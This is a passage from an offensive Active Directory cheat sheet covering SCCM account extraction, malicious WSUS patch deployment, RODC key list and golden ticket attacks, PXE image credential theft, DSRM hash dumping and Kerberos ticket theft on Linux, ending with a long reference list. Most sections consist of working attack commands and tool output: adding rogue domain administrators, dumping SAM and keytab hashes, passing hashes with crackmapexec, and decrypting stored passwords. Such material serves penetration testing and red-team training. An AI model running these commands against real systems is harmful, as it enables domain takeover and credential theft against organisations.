    Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
    NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
    NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
    ```
* Using [GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) or [Mayyhem/SharpSCCM](https://github.com/Mayyhem/SharpSCCM) for SCCM retrieval and decryption
    ```ps1
    .\SharpDPAPI.exe SCCM
    .\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
    ```
* Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`:
    ```ps1
    Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
    ConvertFrom-SddlString ""
    ```

From a remote machine.
* Using [garrettfoster13/sccmhunter](https://github.com/garrettfoster13/sccmhunter)
    ```ps1
    python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto
    ```


## SCCM Shares

> Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

* [1njected/CMLoot](https://github.com/1njected/CMLoot)
  ```ps1
  Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
  Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
  Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
  ```


## WSUS Deployment

> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

* [SharpWSUS](https://github.com/nettitude/SharpWSUS)

1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
2. After WSUS Server compromise: `SharpWSUS.exe inspect`
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group`

## RODC - Read Only Domain Controller

RODCs are an alternative for Domain Controllers in less secure physical locations
- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server


### RODC Golden Ticket

* You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s **msDS-RevealOnDemandGroup** attribute and not in the RODC’s **msDS-NeverRevealGroup** attribute


### RODC Key List Attack

**Requirements**:
* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
* **krbtgt** credentials of the RODC (-rodcKey) 
* **ID of the krbtgt** account of the RODC (-rodcNo)

* using Impacket
  ```ps1
  # keylistattack.py using SAMR user enumeration without filtering (-full flag)
  keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full

  # keylistattack.py defining a target username (-t flag)
  keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST

  # secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
  secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
  ```
* Using Rubeus
  ```ps1
  Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
  Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
  ```


### RODC Computer Object

When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.

* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute 
  ```ps1
  PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
  ```


## PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    ```powershell
    net user hacker Password123! /add
    net localgroup administrators /add hacker
    ```

- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    ```powershell
    # Import the module
    PS > Import-Module .\PowerPXE.ps1

    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 

    # Wait for the DHCP to get an address
    >> Get a valid IP address
    >>> >>> DHCP proposal IP address: 192.168.22.101
    >>> >>> DHCP Validation: DHCPACK
    >>> >>> IP address configured: 192.168.22.101

    # Extract BCD path from the DHCP response
    >> Request BCD File path
    >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
    >>> >>> TFTP IP Address:  192.168.22.3

    # Download the BCD file and extract wim files
    >> Launch TFTP download
    >>>> Transfer succeeded.
    >> Parse the BCD file: conf.bcd
    >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
    >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
    >> Launch TFTP download
    >>>> Transfer succeeded.

    # Parse wim files to find interesting data
    >> Open LiteTouchPE_x86.wim
    >>>> Finding Bootstrap.ini
    >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
    >>>> >>>> UserID = MdtService
    >>>> >>>> UserPassword = Somepass1
    ```

## DNS Reconnaissance

Perform ADIDNS searches

```powershell
StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
```

## DSRM Credentials

> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

```ps1
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```


## Linux Active Directory

## CCACHE ticket reuse from /tmp

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. 

```powershell
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```


## CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

```powershell
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

## CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. 
The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. 
By default, the key is only readable if you have **root** permissions.

Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.

```powershell
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.


## CCACHE ticket reuse from keytab

```powershell
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

## Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. 

Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23  is the actual NT Hash of the user.

```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
	 Time stamp: Oct 07,  2019 09:12:02
[...]
```

On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.

```powershell
$ python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On macOS you can use `bifrost`.

```powershell
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```powershell
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  
```


## Extract accounts from /etc/sssd/sssd.conf

> sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf

The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password". 

```ini
[sssd]
config_file_version = 2
...
[domain/LDAP]
...
ldap_uri = ldap://127.0.0.1
ldap_search_base = ou=People,dc=srv,dc=world
ldap_default_authtok_type = obfuscated_password
ldap_default_authtok = [BASE64_ENCODED_TOKEN]
```

De-obfuscate the content of the ldap_default_authtok variable with [mludvig/sss_deobfuscate](https://github.com/mludvig/sss_deobfuscate)

```ps1
./sss_deobfuscate [ldap_default_authtok_base64_encoded]
./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
```


## References

* [Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
* [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence)
* [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/)
* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/)
* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html)
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
* [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE)
* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)
* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/)
* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](https://adsecurity.org/?p=2011)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
* [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
* [Pen Testing Active Directory Environments - Part III:  Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [A Case Study in Wagging the Dog: Computer Takeover - Will Schroeder - Feb 28, 2019](https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783)
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
* [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory -  Sean Metcalf](https://adsecurity.org/?p=3592)
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
* [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf)
* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials)
* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/)
* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic)
* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https://www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/)
* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)
* [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
* [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
* [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0)
* [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
* [Active-Directory-Exploitation-Cheat-Sheet - @buftas](https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet#local-privilege-escalation)
* [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-1/)
* [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-2/)
* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
* [How To Attack Kerberos 101 - m0chan - July 31, 2019](https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html)
* [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
* [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020](https://www.secura.com/pathtoimg.php?id=2055)
* [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces)
* [CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/)
* [CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/)
* [Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory](https://www.hub.trimarcsecurity.com/post/leveraging-the-kerberos-bronze-bit-attack-cve-2020-17049-scenarios-to-compromise-active-directory)
* [GPO Abuse: "You can't see me" - Huy Kha -  July 19, 2019](https://pentestmag.com/gpo-abuse-you-cant-see-me/)
* [Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
* [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)
* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)
* [AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
* [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/)
* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [Lateral Movement – WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/)
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition)
* [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates)
* [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration)
* [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls)
* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)
* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing)
* [CVE-2021-42287/CVE-2021-42278 Weaponisation - @exploitph](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)
* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4)
* [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)
* [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/)
* [AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh](https://www.blackarrow.net/ad-cs-from-manageca-to-rce/)
* [Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022](https://www.semperis.com/blog/golden-gmsa-attack/)
* [Introducing MalSCCM - Phil Keeble -May 4, 2022](https://labs.nettitude.com/blog/introducing-malsccm/)
* [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
* [bloodyAD and CVE-2022-26923 - soka - 11 May 2022](https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html)
* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)
* [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html)
* [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)
* [Network Access Accounts are evil… - ROGER ZANDER - 13 SEP 2015](https://rzander.azurewebsites.net/network-access-accounts-are-evil/)
* [The Phantom Credentials of SCCM: Why the NAA Won’t Die - Duane Michael - Jun 28](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)
* [Diamond tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond)
* [A Diamond (Ticket) in the Ruff - By CHARLIE CLARK July 05, 2022](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/)
